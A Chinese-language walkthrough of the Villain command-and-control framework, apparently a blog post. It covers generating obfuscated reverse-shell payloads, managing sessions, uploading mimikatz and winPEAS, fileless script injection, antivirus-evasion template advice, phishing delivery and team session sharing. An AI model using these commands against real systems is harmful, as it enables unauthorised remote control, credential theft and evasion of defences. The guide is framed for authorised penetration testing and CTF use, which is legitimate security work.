Villain:新一代轻量级 C2 框架完整使用指南

作者 : t3l3machus (Panagiotis Chartas)
GitHub : https://github.com/t3l3machus/Villain
适用场景 : 渗透测试 / 红队评估 / CTF竞赛
开发平台: Kali Linux (Python 3.6+)

文章目录

    • 一、项目概述
    • 二、核心架构与设计理念
      • [2.1 架构组成](#2.1 架构组成)
      • [2.2 两种 Shell 类型对比](#2.2 两种 Shell 类型对比)
      • [2.3 设计哲学](#2.3 设计哲学)
    • 三、安装与部署
      • [3.1 系统要求](#3.1 系统要求)
      • [3.2 安装方式](#3.2 安装方式)
      • [3.3 启动框架](#3.3 启动框架)
    • 四、服务架构详解
      • [4.1 Team Server (端口 6501)](#4.1 Team Server (端口 6501))
      • [4.2 Reverse TCP Multi-Handler (端口 4443)](#4.2 Reverse TCP Multi-Handler (端口 4443))
      • [4.3 HoaxShell Multi-Handler (端口 8080)](#4.3 HoaxShell Multi-Handler (端口 8080))
      • [4.4 HTTP File Smuggler (端口 8888)](#4.4 HTTP File Smuggler (端口 8888))
    • [五、Payload 生成与模板系统](#五、Payload 生成与模板系统)
      • [5.1 模板系统架构](#5.1 模板系统架构)
      • [5.2 生成 Payload](#5.2 生成 Payload)
      • [5.3 模板自定义与 AV 规避](#5.3 模板自定义与 AV 规避)
      • [5.4 查看模板信息](#5.4 查看模板信息)
    • [六、Shell 会话管理](#六、Shell 会话管理)
      • [6.1 查看活跃会话](#6.1 查看活跃会话)
      • [6.2 进入交互式伪 Shell](#6.2 进入交互式伪 Shell)
      • [6.3 会话别名管理](#6.3 会话别名管理)
      • [6.4 修复会话信息](#6.4 修复会话信息)
    • 七、高级功能实战
      • [7.1 文件上传 (upload)](#7.1 文件上传 (upload))
      • [7.2 无文件脚本注入 (inject)](#7.2 无文件脚本注入 (inject))
      • [7.3 一键升级完全交互式 Shell (conptyshell)](#7.3 一键升级完全交互式 Shell (conptyshell))
      • [7.4 会话持久化 (flee)](#7.4 会话持久化 (flee))
    • 八、团队协作模式
      • [8.1 连接 Sibling Server](#8.1 连接 Sibling Server)
      • [8.2 Sibling Server 通信加密](#8.2 Sibling Server 通信加密)
      • [8.3 团队聊天](#8.3 团队聊天)
      • [8.4 会话共享原理](#8.4 会话共享原理)
    • [九、安全防护与 Session Defender](#九、安全防护与 Session Defender)
      • [9.1 Session Defender (cmdinspector)](#9.1 Session Defender (cmdinspector))
      • [9.2 PowerShell stderr 保护](#9.2 PowerShell stderr 保护)
      • [9.3 其他安全建议](#9.3 其他安全建议)
    • 十、实战工作流示例
      • 场景:内网渗透测试
        • [Step 1: 启动 Villain](#Step 1: 启动 Villain)
        • [Step 2: 生成 Windows Payload](#Step 2: 生成 Windows Payload)
        • [Step 3: 投递 Payload](#Step 3: 投递 Payload)
        • [Step 4: 接管 Shell](#Step 4: 接管 Shell)
        • [Step 5: 上传工具](#Step 5: 上传工具)
        • [Step 6: 执行权限提升脚本](#Step 6: 执行权限提升脚本)
        • [Step 7: 升级完全交互式 Shell](#Step 7: 升级完全交互式 Shell)
        • [Step 8: 团队协作](#Step 8: 团队协作)
    • 十一、注意事项与法律声明
      • [⚠️ 法律声明](#⚠️ 法律声明)
      • [⚠️ 技术限制](#⚠️ 技术限制)
      • [⚠️ 安全提示](#⚠️ 安全提示)
    • 结语

一、项目概述

Villain 是一款由希腊渗透测试研究员 t3l3machus 开发的高级 Stage 0/1 C2(Command and Control)框架。它的诞生源于对现有反向 Shell 管理工具的不满------传统反向 Shell 往往不稳定、缺少 stderr 回显、容易因输入错误而挂起。Villain 的核心使命是:让常见的反向 Shell 变得可靠、功能丰富且易于协作管理 。[4]

与传统重量级 C2 框架(如 Cobalt Strike、Metasploit)不同,Villain 走的是"轻量、快速、协作"路线。它能在数秒内完成安装部署,支持多用户实时协作,并且原生集成多种 Shell 增强功能,无需额外配置复杂的基础设施。

主要特性一览

特性 说明
多协议支持 同时管理 Reverse TCP 和 HoaxShell(HTTP/HTTPS)两种反向 Shell
Payload模板系统 基于可自定义模板生成 Windows/Linux Payload,支持编码/混淆
动态伪Shell 快速切换多个会话,无需重新连接
文件上传 通过 HTTP 文件走私器(File Smuggler)上传文件到目标
无文件执行 通过 HTTP 请求直接注入并执行本地脚本
ConPtyShell集成 一键将 PowerShell 反向 Shell 升级为完全交互式 Windows Shell
多人协作 多个 Villain 实例可互联,共享 Shell 会话
Session Defender 智能检测危险命令,防止 Shell 意外挂起
团队聊天 通过 # 前缀向所有连接的 Sibling Server 广播消息

二、核心架构与设计理念

2.1 架构组成

Villain 启动时会同时初始化 四个核心服务,构成完整的 C2 基础设施:

复制代码
[0.0.0.0:6501]  :: Team Server          (核心控制服务器)
[0.0.0.0:4443]  :: Reverse TCP Multi-Handler  (TCP反向Shell处理器)
[0.0.0.0:8080]  :: HoaxShell Multi-Handler    (HTTP反向Shell处理器)
[0.0.0.0:8888]  :: HTTP File Smuggler         (文件传输服务)

这种"四服务一体"的设计使得 Villain 无需额外配置 Nginx、Apache 或其他中间件即可独立完成 Payload 投递、Shell 接管、文件传输和团队通信。

2.2 两种 Shell 类型对比

Villain 支持两种截然不同的反向 Shell 机制:

维度 Reverse TCP HoaxShell
协议 TCP 原生套接字 HTTP/HTTPS 协议
稳定性 ⭐⭐⭐⭐⭐ 极高 ⭐⭐⭐ 中等
隐蔽性 较低(易被防火墙拦截) 较高(伪装正常HTTP流量)
持久性 连接断开即失效 信标机制,支持自动重连
Payload复用 可重复使用 一次性使用(已用Payload无法再次建立会话)
适用场景 内网渗透、稳定控制 绕过防火墙、外网渗透

建议 : 在稳定性要求高的场景下优先使用 Reverse TCP;在需要绕过网络限制时使用 HoaxShell。[18]

2.3 设计哲学

t3l3machus 在接受 Help Net Security 采访时阐述了 Villain 的设计初衷:

"主要想法是创建一个超快速的多处理器,用于处理 CTF 和渗透测试中最常见的反向 Shell 类型,比如 PayloadAllTheThings、revshells.com 或 msfvenom 生成的 TCP 反向 Shell。传统反向 Shell 往往不可靠,缺少 stderr 回显,或者在执行某些命令/出现拼写错误时挂起。Villain 通过各种技术稳定这些常见 Shell。"[4]


三、安装与部署

3.1 系统要求

  • 操作系统: Kali Linux(强烈推荐,已集成到官方仓库)
  • Python: 3.6 或更高版本
  • 权限: 需要 root 权限运行
  • 依赖 : gnome-terminal(用于 ConPtyShell 功能)

3.2 安装方式

方式一:通过 Kali 官方仓库安装(推荐)
bash 复制代码
sudo apt update
sudo apt install villain

⚠️ 注意:Kali 仓库中的版本可能不是最新版,新功能发布到仓库需要一定时间。

方式二:手动克隆安装(获取最新版)
bash 复制代码
# 克隆仓库
git clone https://github.com/t3l3machus/Villain
cd ./Villain

# 安装 Python 依赖
pip3 install -r requirements.txt

# 安装 gnome-terminal(必须)
sudo apt update && sudo apt install gnome-terminal

3.3 启动框架

bash 复制代码
sudo ./Villain.py

或者使用命令行参数自定义端口:

bash 复制代码
sudo ./Villain.py -p 6501 -x 8080 -n 4443 -f 8888

参数说明:

  • -p: Team Server 端口(默认 6501)
  • -x: HoaxShell 处理器端口(默认 8080)
  • -n: Reverse TCP 处理器端口(默认 4443)
  • -f: HTTP File Smuggler 端口(默认 8888)
  • -i: 交互模式
  • -c/-k: SSL 证书和密钥文件(用于 HTTPS HoaxShell)

四、服务架构详解

启动后,Villain 的命令行界面会显示如下信息:

复制代码
    ┬  ┬ ┬ ┬  ┬  ┌─┐ ┬ ┌┐┌
    └┐┌┘ │ │  │  ├─┤ │ │││                                                
     └┘  ┴ ┴─┘┴─┘┴ ┴ ┴ ┘└┘                                                
                 Unleashed

[Meta] Created by t3l3machus
[Meta] Follow on GitHub, X, YT: @t3l3machus

[Info] Initializing required services:
[0.0.0.0:6501]::Team Server
[0.0.0.0:4443]::Reverse TCP Multi-Handler
[0.0.0.0:8080]::HoaxShell Multi-Handler
[0.0.0.0:8888]::HTTP File Smuggler

[Info] Welcome! Type "help" to list available commands.
Villain >

4.1 Team Server (端口 6501)

Team Server 是 Villain 的"大脑",负责:

  • 维护所有活跃的 Shell 会话元数据
  • 管理 Sibling Server 之间的连接和通信
  • 处理命令路由和会话切换
  • 存储 Payload 模板和生成的植入物信息

4.2 Reverse TCP Multi-Handler (端口 4443)

专门处理基于 TCP 套接字的反向 Shell 连接。这是 Villain 中最稳定、最可靠的 Shell 类型,适合需要长期维持控制的场景。

4.3 HoaxShell Multi-Handler (端口 8080)

处理基于 HTTP/HTTPS 协议的反向 Shell。HoaxShell 是 t3l3machus 的另一款工具演化而来,利用 HTTP 协议建立类似信标的反向 Shell,能更好地绕过防火墙和代理限制。

重要 : 要接收 HoaxShell HTTPS 反向 Shell,启动 Villain 时必须提供 SSL 证书(-c-k 参数)。

4.4 HTTP File Smuggler (端口 8888)

独立的文件传输服务,用于:

  • upload 命令:将本地文件传输到目标机器
  • inject 命令:无文件执行本地脚本
  • 为 Sibling Server 之间的文件共享提供支持

五、Payload 生成与模板系统

5.1 模板系统架构

Villain 的 Payload 生成器基于模板文件工作,模板位于:

复制代码
Core/payload_templates/<OS>/<HANDLER>/

目录结构示例:

复制代码
payload_templates/
├── windows/
│   ├── reverse_tcp/
│   │   ├── powershell.py
│   │   └── cmd.py
│   └── hoaxshell/
│       └── powershell.py
└── linux/
    ├── reverse_tcp/
    │   ├── bash.py
    │   └── python.py
    └── hoaxshell/
        └── sh_curl.py

5.2 生成 Payload

使用 generate 命令生成反向 Shell Payload:

bash 复制代码
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0

命令格式:

复制代码
generate payload=<OS_TYPE/HANDLER/PAYLOAD_TEMPLATE> lhost=<IP或网卡> [obfuscate] [encode]
常用示例
bash 复制代码
# Windows PowerShell Reverse TCP,使用 eth0 IP
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0

# 同上,但添加编码混淆
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0 encode

# Linux HoaxShell,使用 curl
Villain > generate payload=linux/hoaxshell/sh_curl lhost=eth0 obfuscate

# 使用具体 IP 地址
Villain > generate payload=windows/reverse_tcp/powershell lhost=192.168.1.100

5.3 模板自定义与 AV 规避

这是 Villain 最强大的功能之一。你可以:

  1. 编辑默认模板 :修改 Core/payload_templates/ 下的文件,添加混淆逻辑
  2. 创建新模板:按照标准结构编写自己的 Payload 模板
  3. 替换默认模板:用你自己的混淆版本替换默认模板,打造个性化的 Villain 实例

强烈建议 : 默认模板很容易被杀毒软件检测。在实际渗透测试中,务必创建自己的混淆模板 替换默认模板。参考视频教程:如何创建混淆反向 Shell 模板[18]

5.4 查看模板信息

bash 复制代码
# 查看特定模板的详细信息
Villain > generate payload=windows/reverse_tcp/powershell

六、Shell 会话管理

6.1 查看活跃会话

bash 复制代码
# 查看所有反向 Shell 会话
Villain > sessions

# 查看所有后门类型
Villain > backdoors

# 查看 Villain 相关运行服务信息
Villain > sockets

sessions 输出示例:

复制代码
Session ID          IP Address       Shell           Listener   Stability   Status
----------------------------------------------------------------------------------------
45d70c-70d264-ea47  192.168.0.69     powershell.exe  netcat     Stable      Active

6.2 进入交互式伪 Shell

bash 复制代码
Villain > shell 45d70c-70d264-ea47
# 或使用别名
Villain > shell target1

Interactive pseudo-shell activated.
Press Ctrl + C or type "exit" to deactivate.

PS C:\Users\pxpart> whoami
desktop-abc123\pxpart

在伪 Shell 中,你可以执行目标系统的任意命令。按 Ctrl + C 或输入 exit 返回 Villain 主提示符。

6.3 会话别名管理

bash 复制代码
# 为会话设置别名(方便记忆)
Villain > alias 45d70c-70d264-ea47 target1

# 重置别名回默认 ID
Villain > reset target1

# 终止会话
Villain > kill target1

6.4 修复会话信息

如果 Villain 未能正确识别目标的主机名/用户名,可以手动修复:

bash 复制代码
Villain > repair 45d70c-70d264-ea47

七、高级功能实战

7.1 文件上传 (upload)

在伪 Shell 中,使用 upload 命令将本地文件传输到目标:

bash 复制代码
PS C:\Users\pxpart> upload /home/kali/tools/mimikatz.exe C:\Windows\Temp\m.exe

格式:upload <本地文件路径> <远程文件路径>

文件通过 HTTP File Smuggler(端口 8888)自动传输,无需额外配置。即使会话属于 Sibling Server,文件上传也能正常工作。

7.2 无文件脚本注入 (inject)

在伪 Shell 中直接执行本地脚本,无需先将文件写入磁盘:

bash 复制代码
PS C:\Users\pxpart> inject /home/kali/scripts/Invoke-Mimikatz.ps1

注意 : 注入的脚本类型必须匹配 Shell 会话类型。例如,PowerShell 脚本只能注入到 powershell.exe 会话中。

7.3 一键升级完全交互式 Shell (conptyshell)

这是 Villain 的杀手级功能!对于 PowerShell 反向 Shell,可以一键升级为完全交互式的 Windows Shell(类似 SSH 的体验):

bash 复制代码
Villain > conptyshell eth0 4444 45d70c-70d264-ea47

执行后:

  1. 自动弹出新的 gnome-terminal 窗口,运行 netcat 监听
  2. 在目标上作为新进程执行 Invoke-ConPtyShell.ps1
  3. 获得完全交互式 Shell(支持 Tab 补全、vim、top 等)
  4. 原始后门仍然保留,不会中断!

要求 : 必须安装 gnome-terminal,且目前仅支持 powershell.exe 后门。

7.4 会话持久化 (flee)

bash 复制代码
Villain > flee

flee 命令允许你安全退出 Villain 而不终止任何活跃会话 。下次启动 Villain 时,如果受害者机器仍在发送 HoaxShell 信标,会话将自动重新建立

Villain 会自动将生成的植入物信息和会话元数据保存到磁盘,每次启动时加载到内存中。使用 purge 命令可以清除这些存储的元数据:

bash 复制代码
Villain > purge

八、团队协作模式

8.1 连接 Sibling Server

Villain 的"多人模式"是其区别于其他 C2 框架的独特优势。你可以将多个 Villain 实例连接在一起,共享 Shell 会话:

bash 复制代码
# 连接到另一台运行 Villain 的机器
Villain > connect 192.168.1.50 6501

默认 Team Server 端口是 6501(可通过 -p 参数修改)。

8.2 Sibling Server 通信加密

Sibling Server 之间的通信使用 AES 加密

  • 密钥: 接收方 Sibling Server 的 ID
  • IV: 本地服务器 ID 的前 16 个字节

⚠️ 安全提示 : 初始握手时,双方的 ID 以明文交换。虽然这存在被截获的风险,但对于渗透测试/红队场景已经足够。[13]

8.3 团队聊天

任何以 # 开头的命令会被视为消息,广播到所有连接的 Sibling Server:

bash 复制代码
Villain > # 大家注意,目标192.168.1.100已拿下,shell在sessions里

这创造了一个简单的团队通信渠道,无需额外的聊天工具。

8.4 会话共享原理

连接后,每个 Villain 实例既是客户端也是服务器。你可以:

  • 查看所有 Sibling 的活跃会话
  • 通过任意 Sibling 的 Shell 会话执行命令
  • 使用任意 Sibling 作为加密代理转发流量

正如 t3l3machus 所说:

"很少有 C2 框架能在数秒内安装完成,并提供让用户通过简单命令即时互联的界面。基本上,Villain 同时充当客户端和服务器。"[4]


九、安全防护与 Session Defender

9.1 Session Defender (cmdinspector)

传统反向 Shell 最大的痛点之一是容易因输入错误而挂起。例如:

  • 未闭合的单引号/双引号
  • 未闭合的反引号
  • 启动交互式子 Shell(如 pythonvimssh
  • 危险的特殊字符组合

Villain 的 Session Defender 功能会自动检查用户输入的命令,检测可能导致 Shell 挂起的输入:

bash 复制代码
# 开启 Session Defender
Villain > cmdinspector on

# 关闭
Villain > cmdinspector off

9.2 PowerShell stderr 保护

对于 PowerShell 反向 Shell,Villain 会自动将用户命令包装在 try-catch 脚本块中,确保标准错误(stderr)能够正确返回给用户,而不是静默失败。

9.3 其他安全建议

建议 说明
自定义模板 始终使用混淆后的 Payload 模板替代默认模板
SSL加密 生产环境使用 HTTPS HoaxShell(-c-k 参数)
端口伪装 将监听端口改为常见端口(如 443、8080)降低可疑度
定期清理 使用 purge 清除不再需要的会话元数据

十、实战工作流示例

场景:内网渗透测试

Step 1: 启动 Villain
bash 复制代码
sudo ./Villain.py -n 443 -f 80
Step 2: 生成 Windows Payload
bash 复制代码
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0 encode
Generating backdoor payload...
Start-Process $PSHOME\powershell.exe -ArgumentList {...} -WindowStyle Hidden
Copied to clipboard!

Payload 已自动复制到剪贴板。

Step 3: 投递 Payload

通过钓鱼邮件、Web 漏洞或社工手段将 Payload 投递到目标 Windows 机器执行。

Step 4: 接管 Shell
bash 复制代码
[Shell] Backdoor session established on 192.168.0.69

Villain > sessions
Session ID          IP Address       Shell           Listener   Stability   Status
45d70c-70d264-ea47  192.168.0.69     powershell.exe  netcat     Stable      Active

Villain > alias 45d70c-70d264-ea47 win-web01
Villain > shell win-web01
Step 5: 上传工具
bash 复制代码
PS C:\Users\pxpart> upload /home/kali/tools/winPEAS.exe C:\Temp\winpeas.exe
Step 6: 执行权限提升脚本
bash 复制代码
PS C:\Users\pxpart> inject /home/kali/scripts/PowerUp.ps1
Step 7: 升级完全交互式 Shell
bash 复制代码
# 回到主提示符
PS C:\Users\pxpart> exit

Villain > conptyshell eth0 4444 win-web01

新终端弹出,获得完全交互式 PowerShell。

Step 8: 团队协作
bash 复制代码
# 连接队友的 Villain 实例
Villain > connect 192.168.1.50 6501

# 通知团队
Villain > # win-web01 已拿下,权限:普通用户,正在提权

十一、注意事项与法律声明

⚠️ 法律声明

使用此工具攻击未获得明确授权的主机是非法的。您需对使用此工具造成的任何后果负责。

⚠️ 技术限制

  1. HoaxShell Payload 一次性 : 已使用的 HoaxShell Payload 无法再次建立会话(设计如此)[13]
  2. Sibling 直连要求 : 互联的 Villain 实例必须能够直接相互访问(暂不支持代理跳转)[13]
  3. ConPtyShell 限制 : 目前仅支持 powershell.exe 后门
  4. 开发中项目 : 项目处于积极开发中,新版本可能包含破坏性变更[18]

⚠️ 安全提示

  • 始终创建自己的混淆模板以应对 AV 检测
  • Sibling Server 握手阶段 ID 明文传输,注意网络环境安全
  • 建议在隔离的测试环境中充分熟悉工具后再用于实战

结语

Villain 代表了新一代轻量级 C2 框架的发展方向:快速部署、功能丰富、团队协作。它填补了传统重量级框架(如 Cobalt Strike)和简单反向 Shell 处理器之间的空白,特别适合:

  • CTF 竞赛: 快速生成 Payload,管理多个靶机 Shell
  • 渗透测试: 轻量级 C2 基础设施,快速建立控制通道
  • 红队评估: 多人协作,会话共享,提升团队效率
  • 安全研究: 学习 C2 框架原理,研究 AV 规避技术

相关资源

相关推荐
测试员周周1 小时前
【AI测试系统】第5篇:AI 编码工具抛硬币?我们用 LangGraph 做了个“确定性+AI”的测试系统(附自愈架构)
人工智能·python·功能测试·测试工具·架构·langchain·单元测试
Levin__NLP_CV_AIGC1 小时前
py文件中文件复制方法
开发语言·python
庚昀◟1 小时前
腾讯云 CVM + Docker + Jenkins + GitLab CI/CD 全流程指南(python、flask实现简单计算器)
python·ci/cd·docker·flask·jenkins
H_unique1 小时前
LangChain:创建工具Ⅰ
python·langchain
汤愈韬2 小时前
Full Cone NAT、行为模式
网络·网络协议·网络安全·security
eqwaak02 小时前
PyTorch张量操作全攻略:从入门到精通
开发语言·人工智能·pytorch·python
A懿轩A2 小时前
Ghostty:告别 Mac 毛坯终端,打造 2026 最丝滑的 Ghostty AI 开发驾驶舱——Claude Code 团队也在用
python·macos·策略模式
Chasing Aurora2 小时前
python 安装依赖和导入模块 详解
开发语言·python·虚拟环境·import·pyenv·requirements
念恒123062 小时前
Python(for循环)
python·学习